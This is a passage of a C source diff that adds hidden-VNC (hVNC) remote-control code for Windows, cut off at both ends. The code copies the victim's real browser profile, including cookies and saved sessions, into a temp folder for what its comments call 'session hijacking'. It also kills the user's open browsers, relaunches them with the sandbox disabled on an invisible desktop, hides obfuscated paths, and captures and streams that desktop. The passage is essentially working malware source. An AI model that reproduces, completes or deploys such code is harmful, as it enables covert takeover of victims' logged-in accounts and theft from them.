NULL); + if (hDst != INVALID_HANDLE_VALUE) { + DWORD written; + BOOL wok = WriteFile(hDst, data, (DWORD)data_len, &written, NULL); + CloseHandle(hDst); + free(data); + if (wok && written == (DWORD)data_len) { + VNC_LOG("[hVNC] hijack_read_file: %s (%zu bytes)\n", src, data_len); + return 1; + } + } else { + free(data); + } + } + + return 0; /* All methods failed — skip file (non-fatal) */ +} + +/* Recursively clone a directory, skipping large cache dirs */ +static int clone_directory(const char *src_dir, const char *dst_dir, int depth) { + if (depth > 8) return 0; /* prevent infinite recursion */ + + CreateDirectoryA(dst_dir, NULL); + + char search[MAX_PATH]; + snprintf(search, MAX_PATH, "%s\\*", src_dir); + + WIN32_FIND_DATAA fd; + HANDLE hFind = FindFirstFileA(search, &fd); + if (hFind == INVALID_HANDLE_VALUE) return 0; + + int count = 0; + do { + if (fd.cFileName[0] == '.' && + (fd.cFileName[1] == '\0' || + (fd.cFileName[1] == '.' && fd.cFileName[2] == '\0'))) + continue; + + if (should_skip_clone(fd.cFileName)) continue; + + char sp[MAX_PATH], dp[MAX_PATH]; + snprintf(sp, MAX_PATH, "%s\\%s", src_dir, fd.cFileName); + snprintf(dp, MAX_PATH, "%s\\%s", dst_dir, fd.cFileName); + + if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { + count += clone_directory(sp, dp, depth + 1); + } else { + /* Skip files > 50 MB */ + LARGE_INTEGER fsize; + fsize.LowPart = fd.nFileSizeLow; + fsize.HighPart = fd.nFileSizeHigh; + if (fsize.QuadPart > 50LL * 1024 * 1024) continue; + + if (clone_file(sp, dp)) count++; + } + } while (FindNextFileA(hFind, &fd)); + + FindClose(hFind); + return count; +} + +/* Clone browser profile for session hijacking. + Returns 1 on success (clone_dir filled), 0 on failure. */ +static int hvnc_clone_browser_profile(const char *browser_exe, + char *clone_dir, size_t clone_dir_len) { + vnc_init_browser_profiles(); + const char *profile_sub = NULL; + for (int i = 0; browser_profile_map[i].exe; i++) { + if (_stricmp(browser_exe, browser_profile_map[i].exe) == 0) { + profile_sub = browser_profile_map[i].profile_subpath; + break; + } + } + if (!profile_sub) return 0; + + char local_appdata[MAX_PATH]; + if (!GetEnvironmentVariableA("LOCALAPPDATA", local_appdata, MAX_PATH)) + return 0; + + char src_profile[MAX_PATH]; + snprintf(src_profile, MAX_PATH, "%s\\%s", local_appdata, profile_sub); + + if (GetFileAttributesA(src_profile) == INVALID_FILE_ATTRIBUTES) { + VNC_LOG("[hVNC] Browser profile not found: %s\n", src_profile); + return 0; + } + + char temp_dir[MAX_PATH]; + GetTempPathA(MAX_PATH, temp_dir); + snprintf(clone_dir, clone_dir_len, "%s_hc_%s", temp_dir, browser_exe); + + VNC_LOG("[hVNC] Cloning profile: %s -> %s\n", src_profile, clone_dir); + + DWORD t0 = GetTickCount(); + int files = clone_directory(src_profile, clone_dir, 0); + DWORD elapsed = GetTickCount() - t0; + VNC_LOG("[hVNC] Cloned %d files in %lu ms\n", files, elapsed); + + /* Delete singleton locks from clone */ + char lock[MAX_PATH]; + snprintf(lock, MAX_PATH, "%s\\SingletonLock", clone_dir); + DeleteFileA(lock); + snprintf(lock, MAX_PATH, "%s\\SingletonSocket", clone_dir); + DeleteFileA(lock); + snprintf(lock, MAX_PATH, "%s\\SingletonCookie", clone_dir); + DeleteFileA(lock); + + return 1; +} + +/* ── App path resolution ─────────────────────────────────────────── */ + +static char _vnc_app_brave[96], _vnc_app_chrome[96], _vnc_app_ff[64], _vnc_app_edge[96]; +static const char *_vnc_app_exes[4] = { "brave.exe", "chrome.exe", "firefox.exe", "msedge.exe" }; +static int _vnc_apps_init = 0; + +static void vnc_init_app_paths(void) { + if (_vnc_apps_init) return; + obf_decrypt_to(OBF_BRAVE_EXE_PATH, _vnc_app_brave, sizeof(_vnc_app_brave)); + obf_decrypt_to(OBF_CHROME_EXE_PATH, _vnc_app_chrome, sizeof(_vnc_app_chrome)); + obf_decrypt_to(OBF_FIREFOX_EXE_PATH, _vnc_app_ff, sizeof(_vnc_app_ff)); + obf_decrypt_to(OBF_EDGE_EXE_PATH, _vnc_app_edge, sizeof(_vnc_app_edge)); + _vnc_apps_init = 1; +} + +static int hvnc_resolve_app_path(const char *name, char *buf, size_t buf_len) { + vnc_init_app_paths(); + const char *known_subs[] = { _vnc_app_brave, _vnc_app_chrome, _vnc_app_ff, _vnc_app_edge }; + + for (int i = 0; i < 4; i++) { + if (_stricmp(name, _vnc_app_exes[i]) != 0) continue; + + /* Try Program Files, Program Files (x86), LocalAppData */ + const char *roots[] = { "ProgramFiles", "ProgramFiles(x86)", "LOCALAPPDATA" }; + for (int r = 0; r < 3; r++) { + char root[MAX_PATH]; + DWORD len = GetEnvironmentVariableA(roots[r], root, MAX_PATH); + if (len == 0 || len >= MAX_PATH) continue; + snprintf(buf, buf_len, "%s\\%s", root, known_subs[i]); + if (GetFileAttributesA(buf) != INVALID_FILE_ATTRIBUTES) + return 1; + } + } + return 0; +} + +static int hvnc_launch_process(vnc_state_t *vnc, const char *cmdline, int clone_session) { + if (!vnc->hidden_desktop || !vnc->job_object) return -1; + + /* Resolve bare browser names to full paths */ + char resolved[MAX_PATH]; + char final_cmdline[2048]; + const char *actual_cmdline = cmdline; + + if (hvnc_resolve_app_path(cmdline, resolved, MAX_PATH)) { + VNC_LOG("[hVNC] Resolved '%s' -> '%s'\n", cmdline, resolved); + + /* Chromium browsers (Brave, Chrome, Edge) use a single-process + model — if already running on the real desktop, a bare launch + just signals the existing instance. Force an independent + instance with --user-data-dir pointed at a temp directory. */ + static const char *chromium_exes[] = { + "brave.exe", "chrome.exe", "msedge.exe", NULL + }; + int is_chromium = 0; + for (int i = 0; chromium_exes[i]; i++) { + if (_stricmp(cmdline, chromium_exes[i]) == 0) { + is_chromium = 1; + break; + } + } + + if (is_chromium) { + char temp_dir[MAX_PATH]; + GetTempPathA(MAX_PATH, temp_dir); + + /* Kill existing instances of this browser on the real desktop. + Chromium's process singleton detection causes the new instance + to delegate to the existing one (exit code 21) even with a + different --user-data-dir. */ + { + wchar_t exe_w[64]; + MultiByteToWideChar(CP_ACP, 0, cmdline, -1, exe_w, 64); + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap != INVALID_HANDLE_VALUE) { + PROCESSENTRY32W pe; + pe.dwSize = sizeof(pe); + int killed = 0; + if (Process32FirstW(snap, &pe)) { + do { + if (_wcsicmp(pe.szExeFile, exe_w) == 0) { + HANDLE hProc = OpenProcess(PROCESS_TERMINATE, FALSE, + pe.th32ProcessID); + if (hProc) { + TerminateProcess(hProc, 0); + CloseHandle(hProc); + killed++; + } + } + } while (Process32NextW(snap, &pe)); + } + CloseHandle(snap); + if (killed > 0) { + VNC_LOG("[hVNC] Killed %d existing '%s' process(es)\n", + killed, cmdline); + Sleep(1000); /* let processes clean up */ + } + } + } + + /* Session hijacking: clone the real browser profile */ + char user_data_dir[MAX_PATH]; + if (clone_session) { + if (hvnc_clone_browser_profile(cmdline, user_data_dir, MAX_PATH)) { + VNC_LOG("[hVNC] Using cloned profile for session hijacking\n"); + } else { + VNC_LOG("[hVNC] Profile clone failed, using empty profile\n"); + snprintf(user_data_dir, MAX_PATH, "%s_hd_%s", temp_dir, cmdline); + } + } else { + snprintf(user_data_dir, MAX_PATH, "%s_hd_%s", temp_dir, cmdline); + } + + /* Delete stale SingletonLock/SingletonSocket */ + { + char lock_path[MAX_PATH]; + snprintf(lock_path, MAX_PATH, "%s\\SingletonLock", user_data_dir); + DeleteFileA(lock_path); + snprintf(lock_path, MAX_PATH, "%s\\SingletonSocket", user_data_dir); + DeleteFileA(lock_path); + snprintf(lock_path, MAX_PATH, "%s\\SingletonCookie", user_data_dir); + DeleteFileA(lock_path); + } + + snprintf(final_cmdline, sizeof(final_cmdline), + "\"%s\" --user-data-dir=\"%s\" --no-first-run --no-default-browser-check" + " --start-maximized --disable-gpu --no-sandbox" + " --disable-features=CalculateNativeWinOcclusion", + resolved, user_data_dir); + } else { + snprintf(final_cmdline, sizeof(final_cmdline), "\"%s\"", resolved); + } + actual_cmdline = final_cmdline; + } + + hvnc_launch_ctx_t ctx; + memset(&ctx, 0, sizeof(ctx)); + ctx.desktop = vnc->hidden_desktop; + ctx.job_object = vnc->job_object; + memcpy(ctx.desktop_name, vnc->desktop_name, sizeof(ctx.desktop_name)); + + if (!to_wide(actual_cmdline, ctx.cmdline_w, 1024)) return -1; + + /* Spawn a dedicated thread to launch the process. This thread + has no windows, so SetThreadDesktop will succeed. */ + HANDLE hThread = CreateThread(NULL, 0, hvnc_launcher_thread, &ctx, 0, NULL); + if (!hThread) { + VNC_LOG("[hVNC] Failed to create launcher thread: %lu\n", GetLastError()); + return -1; + } + + /* Wait for the launcher to finish. May take 10+ seconds if + it needs to wait for Chromium child process window creation. */ + WaitForSingleObject(hThread, 15000); + CloseHandle(hThread); + + if (ctx.result != 0) { + VNC_LOG("[hVNC] Launcher failed for '%s': error %lu\n", cmdline, ctx.error); + return -1; + } + + VNC_LOG("[hVNC] Launched on hidden desktop: %s\n", cmdline); + return 0; +} + +static void hvnc_cleanup(vnc_state_t *vnc) { + if (vnc->job_object) { + TerminateJobObject(vnc->job_object, 0); + CloseHandle(vnc->job_object); + vnc->job_object = NULL; + } + if (vnc->hidden_desktop) { + CloseDesktop(vnc->hidden_desktop); + vnc->hidden_desktop = NULL; + } + VNC_LOG("[hVNC] Cleanup complete\n"); +} + +/* ── hVNC: fix taskbar position to bottom of screen ───────────────── */ + +/* Returns 1 if taskbar is now at the bottom, 0 if not found or failed */ +static int hvnc_fix_taskbar_position(int screen_w, int screen_h) { + HWND tray = FindWindowW(L"Shell_TrayWnd", NULL); + if (!tray) return 0; + + RECT tr; + GetWindowRect(tray, &tr); + int taskbar_h = tr.bottom - tr.top; + if (taskbar_h <= 0 || taskbar_h > screen_h / 2) taskbar_h = 48; + + /* Already at bottom? */ + if (tr.top >= screen_h - taskbar_h - 5 && tr.left <= 2 && + (tr.right - tr.left) >= screen_w - 5) + return 1; + + VNC_LOG("[hVNC] Taskbar at (%ld,%ld,%ld,%ld) h=%d, hiding (Win11 can't move)\n", + tr.left, tr.top, tr.right, tr.bottom, taskbar_h); + + /* Windows 11 XAML taskbar ignores SetWindowPos/SHAppBarMessage on + hidden desktops. The only reliable approach: HIDE the Windows + taskbar entirely. The dashboard has its own toolbar with + Explorer/Chrome/Brave/Edge/Run quick-launch buttons. */ + + /* Hide the main taskbar window and all secondary taskbar windows */ + ShowWindow(tray, SW_HIDE); + + /* Also hide the Windows 11 secondary taskbar (if multi-monitor) */ + HWND secondary = FindWindowW(L"Shell_SecondaryTrayWnd", NULL); + while (secondary) { + ShowWindow(secondary, SW_HIDE); + secondary = FindWindowExW(NULL, secondary, L"Shell_SecondaryTrayWnd", NULL); + } + + /* Set work area to full screen since taskbar is hidden */ + RECT work_area = { 0, 0, screen_w, screen_h }; + SystemParametersInfoW(SPI_SETWORKAREA, 0, &work_area, SPIF_SENDCHANGE); + + VNC_LOG("[hVNC] Taskbar hidden, work area set to full screen %dx%d\n", + screen_w, screen_h); + + /* Return 1 so we don't keep retrying */ + return 1; +} + +/* ── hVNC: reset cursor to arrow (suppress spinning circles) ──────── */ + +static void hvnc_reset_cursor(void) { + /* Load the standard arrow cursor and set it as current. + This cancels any "app starting" (spinning) cursor feedback + that Windows shows when a click triggers a slow response. */ + HCURSOR arrow = LoadCursorA(NULL, IDC_ARROW); + if (arrow) SetCursor(arrow); +} + +/* ── hVNC: force windows to repaint before capture ────────────────── */ + +static BOOL CALLBACK hvnc_repaint_callback(HWND hwnd, LPARAM lParam) { + (void)lParam; + if (IsWindowVisible(hwnd)) { + RedrawWindow(hwnd, NULL, NULL, + RDW_INVALIDATE | RDW_UPDATENOW | RDW_ALLCHILDREN); + } + return TRUE; +} + +/* ── Screen capture -> JPEG ───────────────────────────────────────── */ + +static int capture_frame_jpeg(vnc_state_t *vnc, int quality, jpeg_buffer_t *out, int *out_w, int *out_h) { + HDC hdc_screen = NULL; + HDC hdc_mem = NULL; + HBITMAP hbm = NULL; + HBITMAP hbm_old = NULL; + uint8_t *pixels = NULL; + int ret = -1; + int width, height; + BITMAPINFOHEADER bi; + + /* hVNC: force all windows on the hidden desktop to repaint so that + BitBlt captures fresh content (DWM does not composite non-input + desktops automatically). */ + if (vnc->is_hvnc) { + EnumWindows(hvnc_repaint_callback, 0); + } + + hdc_screen = GetDC(NULL); + if (!hdc_screen) { + VNC_LOG("[capture] GetDC(NULL) failed: %lu\n", GetLastError()); + goto cleanup; + } + + /* Use SM_CXSCREEN/SM_CYSCREEN which returns resolution consistent + with the thread's DPI awareness context. The hVNC capture thread + is set to Per-Monitor DPI-aware, so this returns physical pixels + matching GetWindowRect/WindowFromPoint/PrintWindow. */ + width = GetSystemMetrics(SM_CXSCREEN); + height = GetSystemMetrics(SM_CYSCREEN); + if (width <= 0 || height <= 0) { + VNC_LOG("[capture] Screen dimensions are %dx%d — cannot capture\n", width, height); + goto cleanup; + } + + /* One-time log of actual capture resolution */ + { + static int logged_res = 0; + if (!logged_res) { + VNC_LOG("[capture] Capture resolution: %dx%d (HORZRES=%d VERTRES=%d)\n", + width, height, + GetDeviceCaps(hdc_screen, HORZRES), + GetDeviceCaps(hdc_screen, VERTRES)); + logged_res = 1; + } + } + + hdc_mem = CreateCompatibleDC(hdc_screen); + if (!hdc_mem) { + VNC_LOG("[capture] CreateCompatibleDC failed: %lu\n", GetLastError()); + goto cleanup; + } + + hbm = CreateCompatibleBitmap(hdc_screen, width, height); + if (!hbm) { + VNC_LOG("[capture] CreateCompatibleBitmap(%dx%d) failed: %lu\n", width, height, GetLastError()); + goto cleanup; + } + + hbm_old = (HBITMAP)SelectObject(hdc_mem, hbm); + + if (vnc->is_hvnc) { + /* Hidden desktops have no display surface, so BitBlt from the + screen DC fails (ERROR_INVALID_HANDLE). Instead, fill the + bitmap with the desktop background and composite each visible + window using PrintWindow, which sends WM_PRINT and works + regardless of whether a display driver backs the desktop. */ + HBRUSH bg = CreateSolidBrush(GetSysColor(COLOR_DESKTOP)); + RECT fill_rc = {0, 0, width, height}; + FillRect(hdc_mem, &fill_rc, bg); + DeleteObject(bg); + + /* Collect visible windows into an array (top-to-bottom Z-order), + then paint them bottom-to-top so topmost windows occlude. + Skip tiny windows (<10px) and limit to 32 windows max for + performance — hidden desktops typically have few windows. */ + HWND win_stack[32]; + int win_count = 0; + { + HWND cur = GetTopWindow(NULL); + while (cur && win_count < 32) { + if (IsWindowVisible(cur)) { + RECT wr; + GetWindowRect(cur, &wr); + int ww = wr.right - wr.left; + int wh = wr.bottom - wr.top; + if (ww > 10 && wh > 10) { + win_stack[win_count++] = cur; + } + } + cur = GetWindow(cur, GW_HWNDNEXT); + } + } + + /* Diagnostic: dump all windows every 100 frames */ + { + static int diag_counter = 0; + if ((diag_counter % 100) == 0) { + VNC_LOG("[diag] === Window dump (frame %d, %d visible) ===\n", + diag_counter, win_count); + for (int wi = 0; wi < win_count; wi++) { + char cls[128] = {0}; + GetClassNameA(win_stack[wi], cls, sizeof(cls)); + RECT wr; + GetWindowRect(win_stack[wi], &wr); + VNC_LOG("[diag] [%d] hwnd=%p class='%s' rect=(%d,%d,%d,%d) %dx%d\n", + wi, (void*)win_stack[wi], cls, + wr.left, wr.top, wr.right, wr.bottom, + wr.right - wr.left, wr.bottom - wr.top); + } + /* Also dump ALL top-level windows (including invisible) */ + VNC_LOG("[diag] === All top-level windows ===\n"); + HWND cur = GetTopWindow(NULL); + int total = 0; + while (cur && total < 50) { + char cls[128] = {0}; + GetClassNameA(cur, cls, sizeof(cls)); + RECT wr; + GetWindowRect(cur, &wr); + BOOL vis = IsWindowVisible(cur); + VNC_LOG("[diag] hwnd=%p class='%s' vis=%d rect=(%d,%d,%d,%d)\n", + (void*)cur, cls, vis, + wr.left, wr.top, wr.right, wr.bottom); + cur = GetWindow(cur, GW_HWNDNEXT); + total++; + } + } + diag_counter++; + } + + /* Paint bottom-to-top (reverse of the collected order). + Use PrintWindow first; if it returns an all-white/blank + result (common with Chromium), fall back to BitBlt from + the window's own DC. */ + for (int wi = win_count - 1; wi >= 0; wi--) { + RECT wr; + GetWindowRect(win_stack[wi], &wr); + int ww = wr.right - wr.left; + int wh = wr.bottom - wr.top; + SetViewportOrgEx(hdc_mem, wr.left, wr.top, NULL); + + BOOL pw_ok = PrintWindow(win_stack[wi], hdc_mem, 0x00000002 /* PW_RENDERFULLCONTENT */); + + /* Check if PrintWindow produced a blank (all-white) result + by sampling a few pixels from the center of the window. + If blank, try BitBlt from the window's DC as fallback. */ + if (pw_ok && ww > 100 && wh > 100) { + COLORREF c1 = GetPixel(hdc_mem, ww / 3, wh / 3); + COLORREF c2 = GetPixel(hdc_mem, ww / 2, wh / 2); + COLORREF c3 = GetPixel(hdc_mem, ww * 2 / 3, wh * 2 / 3); + if (c1 == 0x00FFFFFF && c2 == 0x00FFFFFF && c3 == 0x00FFFFFF) { + /* All sampled pixels are white — PrintWindow gave blank. + Try BitBlt from the window DC (works for some apps + whose compositors don't respond to WM_PRINT). */ + HDC hdc_win = GetDC(win_stack[wi]); + if (hdc_win) { + BitBlt(hdc_mem, 0, 0, ww, wh, hdc_win, 0, 0, SRCCOPY); + ReleaseDC(win_stack[wi], hdc_win); + static int logged_bitblt = 0; + if (!logged_bitblt) { + char cls[128] = {0}; + GetClassNameA(win_stack[wi], cls, sizeof(cls)); + VNC_LOG("[diag] PrintWindow blank for '%s', used BitBlt fallback\n", cls); + logged_bitblt = 1; + } + } + } + } + + if (!pw_ok) { + /* PrintWindow failed entirely — try BitBlt as well */ + HDC hdc_win = GetDC(win_stack[wi]); + if (hdc_win) { + BitBlt(hdc_mem, 0, 0, ww, wh, hdc_win, 0, 0, SRCCOPY); + ReleaseDC(win_stack[wi], hdc_win); + } + char cls[128] = {0}; + GetClassNameA(win_stack[wi], cls, sizeof(cls)); + VNC_LOG("[diag] PrintWindow FAILED for '%s' err=%lu, used BitBlt\n", + cls, GetLastError()); + } + } + if (win_count > 0) SetViewportOrgEx(hdc_mem, 0, 0, NULL); + } else { + /* Regular VNC: BitBlt from the real screen DC */ + if (!BitBlt(hdc_mem, 0, 0, width, height, hdc_screen, 0, 0, SRCCOPY)) { + VNC_LOG("[capture] BitBlt failed: %lu\n", GetLastError()); + goto cleanup; + } + } + + SelectObject(hdc_mem, hbm_old); + + /* Get pixels as top-down RGB (biHeight negative = top-down) */ + memset(&bi, 0, sizeof(bi)); + bi.biSize = sizeof(BITMAPINFOHEADER); + bi.biWidth = width; + bi.biHeight = -height; /* top-down */ + bi.biPlanes = 1; + bi.biBitCount = 24; + bi.biCompression = BI_RGB; + + DWORD row_size = ((width * 3 + 3) & ~3); + DWORD pixel_size = row_size * (DWORD)height; + pixels = (uint8_t *)malloc(pixel_size); + if (!pixels) goto cleanup; + + if (!GetDIBits(hdc_mem, hbm, 0, (UINT)height, pixels, + (BITMAPINFO *)&bi, DIB_RGB_COLORS)) { + VNC_LOG("[capture] GetDIBits failed: %lu\n", GetLastError()); + goto cleanup; + } + + /* Compress BGR pixels to JPEG via TurboJPEG (no BGR→RGB swap needed). + GDI rows are 4-byte aligned; pass row_size as pitch so tjCompress2 + correctly handles the padding. */ + { + static tjhandle tj = NULL; + if (!tj) tj = tjInitCompress(); + if (!tj) goto cleanup; + + unsigned long maxSize = tjBufSize(width, height, TJSAMP_420); + out->len = 0; + if (out->cap < maxSize) { + uint8_t *nb = (uint8_t *)realloc(out->data, maxSize); + if (!nb) goto cleanup; + out->data = nb; + out->cap = maxSize; + } + + unsigned long jpegSize = (unsigned long)out->cap; + unsigned char *jpegBuf = out->data; + int rc = tjCompress2(tj, pixels, + width, (int)row_size, /* width, pitch (4-byte aligned row stride) */ + height, TJPF_BGR, /* GDI 24-bit is BGR natively */ + &jpegBuf, &jpegSize, + TJSAMP_420, quality, + TJFLAG_FASTDCT | TJFLAG_NOREALLOC); + if (rc != 0) goto cleanup; + out->data = jpegBuf; + out->len = (size_t)jpegSize; + } + + *out_w = width; + *out_h = height; + ret = 0; + +cleanup: + if (pixels) free(pixels); + if (hbm) DeleteObject(hbm); + if (hdc_mem) DeleteDC(hdc_mem); + if (hdc_screen) ReleaseDC(NULL, hdc_screen); + + return ret; +} + +/* ── Raw pixel capture (for tiled path) ───────────────────────────── */ + +/* PrintWindow a single window with BitBlt fallback for blank results */ +static void hvnc_print_window(HWND hwnd, HDC hdc_mem) { + RECT wr; + GetWindowRect(hwnd, &wr); + int ww = wr.right - wr.left; + int wh = wr.bottom - wr.top; + SetViewportOrgEx(hdc_mem, wr.left, wr.top, NULL); + + BOOL pw_ok = PrintWindow(hwnd, hdc_mem, 0x00000002 /* PW_RENDERFULLCONTENT */); + + if (pw_ok && ww > 100 && wh > 100) { + COLORREF c1 = GetPixel(hdc_mem, ww / 3, wh / 3); + COLORREF c2 = GetPixel(hdc_mem, ww / 2, wh / 2); + COLORREF c3 = GetPixel(hdc_mem, ww * 2 / 3, wh * 2 / 3); + if (c1 == 0x00FFFFFF && c2 == 0x00FFFFFF && c3 == 0x00FFFFFF) { + HDC hdc_win = GetDC(hwnd); + if (hdc_win) { + BitBlt(hdc_mem, 0, 0, ww, wh, hdc_win, 0, 0, SRCCOPY); + ReleaseDC(hwnd, hdc_win); + } + } + } else if (!pw_ok) { + HDC hdc_win = GetDC(hwnd); + if (hdc_win) { + BitBlt(hdc_mem, 0, 0, ww, wh, hdc_win, 0, 0, SRCCOPY); + ReleaseDC(hwnd, hdc_win); + } + } + + SetViewportOrgEx(hdc_mem, 0, 0, NULL); +} + +static int capture_raw_pixels(vnc_state_t *vnc, tile_grid_t *grid) { + int width, height; + + /* GDI path — no DXGI dirty rects, use full CRC32 */ + grid->use_dxgi_dirty = 0; + + width = GetSystemMetrics(SM_CXSCREEN); + height = GetSystemMetrics(SM_CYSCREEN); + if (width <= 0 || height <= 0) return -1; + + { static int logged = 0; if (!logged) { VNC_LOG("[capture-tiled] Resolution: %dx%d\n", width, height); logged = 1; } } + + if (vnc->is_hvnc) { + /* ── hVNC: persistent DIB + selective window capture ──────── */ + + /* Conditional redraw: force repaint once after input, then throttle. + EnumWindows+RedrawWindow is expensive (~5ms for all windows), + so only call it once per input burst, not every frame. */ + DWORD now = GetTickCount(); + static DWORD last_repaint_input_tick = 0; + if ((now - vnc->last_input_tick) < 100 && + vnc->last_input_tick != last_repaint_input_tick) { + EnumWindows(hvnc_repaint_callback, 0); + last_repaint_input_tick = vnc->last_input_tick; + } + + /* Ensure persistent 32-bit BGRA DIB section */ + tile_grid_ensure_dib(grid, width, height); + if (!grid->persist_hdc || !grid->persist_dib_bits) return -1; + + /* Enumerate visible windows (top-to-bottom Z-order) */ + HWND win_stack[32]; + int win_count = 0; + { + HWND cur = GetTopWindow(NULL); + while (cur && win_count < 32) { + if (IsWindowVisible(cur)) { + RECT wr; + GetWindowRect(cur, &wr); + int ww = wr.right - wr.left; + int wh = wr.bottom - wr.top; + if (ww > 10 && wh > 10) + win_stack[win_count++] = cur; + } + cur = GetWindow(cur, GW_HWNDNEXT); + } + } + + /* Determine if we need a full composite or selective capture */ + int need_full = 0; + if (win_count != grid->prev_win_count) need_full = 1; + if ((now - grid->last_full_capture_tick) > 10000) need_full = 1; + if (!need_full) { + int check = (win_count < grid->prev_win_count) ? win_count : grid->prev_win_count; + for (int i = 0; i < check; i++) { + if (win_stack[i] != grid->prev_win_stack[i]) { need_full = 1; break; } + } + } + /* Position-aware: detect window moves/resizes */ + if (!need_full) { + int check = (win_count < 32) ? win_count : 32; + for (int i = 0; i < check; i++) { + RECT wr; GetWindowRect(win_stack[i], &wr); + if (memcmp(&wr, &grid->prev_win_rects[i], sizeof(RECT)) != 0) { + need_full = 1; break; + } + } + } + + if (need_full) { + /* Full composite: clear background + cached PrintWindow per window */ + HBRUSH bg = CreateSolidBrush(GetSysColor(COLOR_DESKTOP)); + RECT fill_rc = {0, 0, width, height}; + FillRect(grid->persist_hdc, &fill_rc, bg); + DeleteObject(bg); + + win_cache_cleanup(grid); + + /* Paint bottom-to-top so topmost windows occlude */ + for (int wi = win_count - 1; wi >= 0; wi--) { + HWND hw = win_stack[wi]; + RECT wr; GetWindowRect(hw, &wr); + int ww = wr.right - wr.left, wh = wr.bottom - wr.top; + + int ci = win_cache_find(grid, hw); + BOOL recapture = FALSE; + if (ci < 0) recapture = TRUE; + else if (grid->win_cache[ci].w != ww || grid->win_cache[ci].h != wh) recapture = TRUE; + else if (grid->win_cache[ci].needs_recapture) recapture = TRUE; + else { + /* Adaptive backoff: 250ms→500ms→1s→2s→4s→8s→16s→30s based on content stability */ + DWORD interval = 250; + for (int s = 0; s < grid->win_cache[ci].stable_count && interval < 30000; s++) + interval *= 2; + if (interval > 30000) interval = 30000; + if ((now - grid->win_cache[ci].capture_tick) >= interval) recapture = TRUE; + } + + if (recapture) { + ci = win_cache_alloc(grid, hw, ww, wh); + if (ci < 0) { + /* Fallback: direct PrintWindow if cache alloc failed */ + hvnc_print_window(hw, grid->persist_hdc); + continue; + } + win_cache_capture(grid, ci, hw); + } + + /* BitBlt from cache to composite (~0.1ms vs PrintWindow's ~10ms) */ + BitBlt(grid->persist_hdc, wr.left, wr.top, ww, wh, + grid->win_cache[ci].hdc, 0, 0, SRCCOPY); + } + + grid->last_full_capture_tick = now; + + /* Save window stack + positions for next comparison */ + memcpy(grid->prev_win_stack, win_stack, sizeof(HWND) * win_count); + grid->prev_win_count = win_count; + { + int save = (win_count < 32) ? win_count : 32; + for (int i = 0; i < save; i++) + GetWindowRect(win_stack[i], &grid->prev_win_rects[i]); + } + } else { + /* Selective: only recapture the last target window via cache */ + HWND target = vnc->last_target_window; + if (target && IsWindow(target)) { + HWND target_top = GetAncestor(target, GA_ROOT); + if (!target_top) target_top = target; + int ci = win_cache_find(grid, target_top); + if (ci >= 0) { + RECT wr; GetWindowRect(target_top, &wr); + int ww = wr.right - wr.left, wh = wr.bottom - wr.top; + /* Re-alloc if size changed */ + if (grid->win_cache[ci].w != ww || grid->win_cache[ci].h != wh) + ci = win_cache_alloc(grid, target_top, ww, wh); + if (ci >= 0) { + win_cache_capture(grid, ci, target_top); + BitBlt(grid->persist_hdc, wr.left, wr.top, + grid->win_cache[ci].w, grid->win_cache[ci].h, + grid->win_cache[ci].hdc, 0, 0, SRCCOPY); + } + } else { + /* Fallback: direct PrintWindow if not cached */ + for (int wi = 0; wi < win_count; wi++) { + if (win_stack[wi] == target_top) { + hvnc_print_window(win_stack[wi], grid->persist_hdc); + break; + } + } + } + } + } + + /* Point tile encoder at the persistent BGRA DIB (zero-copy) */ + grid->bgra_ptr = grid->persist_dib_bits; + grid->bgra_pitch = grid->persist_dib_pitch; + } else { + /* ── Regular VNC: persistent BGRA DIB + BitBlt (zero-copy) ── */ + /* Use the same persistent DIB as hVNC — avoids per-frame + malloc, CreateCompatibleBitmap, GetDIBits, and BGR→RGB. */ + tile_grid_ensure_dib(grid, width, height); + if (!grid->persist_hdc || !grid->persist_dib_bits) return -1; + + HDC hdc_screen = GetDC(NULL); + if (!hdc_screen) return -1; + + if (!BitBlt(grid->persist_hdc, 0, 0, width, height, hdc_screen, 0, 0, SRCCOPY)) { + ReleaseDC(NULL, hdc_screen); + return -1; + } + ReleaseDC(NULL, hdc_screen); + + /* Point tile encoder at persistent BGRA DIB (zero-copy, same as hVNC) */ + grid->bgra_ptr = grid->persist_dib_bits; + grid->bgra_pitch = grid->persist_dib_pitch; + } + + /* If resolution changed, force full redraw by clearing prev state */ + if (grid->width != width || grid->height != height) { + memset(grid->prev, 0, sizeof(grid->prev)); + VNC_LOG("[tile] Resolution changed %dx%d -> %dx%d\n", + grid->width, grid->height, width, height); + } + + grid->width = width; + grid->height = height; + grid->stride = width * 3; + int ts = grid->tile_size > 0 ? grid->tile_size : TILE_SIZE; + grid->cols = (width + ts - 1) / ts; + grid->rows = (height + ts - 1) / ts; + if (grid->cols > MAX_TILE_COLS) grid->cols = MAX_TILE_COLS; + if (grid->rows > MAX_TILE_ROWS) grid->rows = MAX_TILE_ROWS; + + if (!grid->tile_tmp) { + grid->tile_tmp = (uint8_t *)malloc(ts * ts * 3); + if (!grid->tile_tmp) return -1; + } + + return 0; +} + +/* ── Tiled frame encoder ─────────────────────────────────────────── */ + +/* Builds tiled payload into 'out': + * [1:frame_type=0x01][2:w][2:h][1:cols][1:rows] + * [2:cursor_x][2:cursor_y][2:num_dirty] + * Per dirty tile: [1:col][1:row][1:codec][4:data_len][N:data] + * Returns number of dirty tiles, or -1 on error. + */ +static int encode_frame_tiled(tile_grid_t *grid, int quality, jpeg_buffer_t *out) { + int bgra_mode = (grid->bgra_ptr != NULL); + if (!bgra_mode && (!grid->raw_pixels || grid->width <= 0 || grid->height <= 0)) + return -1; + if (bgra_mode && (grid->width <= 0 || grid->height <= 0)) + return -1; + + if (!crc32_table_ready) crc32_init(); + + int ts = grid->tile_size > 0 ? grid->tile_size : TILE_SIZE; + + /* Periodic keyframe: invalidate all CRC32 entries every 30s to prevent + accumulated tile corruption from CRC32 collisions over long sessions */ + { + DWORD now = GetTickCount(); + if (grid->last_keyframe_tick == 0) grid->last_keyframe_tick = now; + if ((now - grid->last_keyframe_tick) > 30000) { + memset(grid->prev, 0, sizeof(grid->prev)); + grid->last_keyframe_tick = now; + } + } + + /* Motion-adaptive quality: use previous frame's dirty % to adjust quality. + >50% dirty → reduce by 30% (heavy motion) + >30% dirty → reduce by 15% (moderate motion) + <15% dirty → full quality (still/text) */ + { + int target_q = quality; + int dp = grid->prev_dirty_pct; + if (dp > 50) target_q = quality * 70 / 100; + else if (dp > 30) target_q = quality * 85 / 100; + /* else target_q = quality 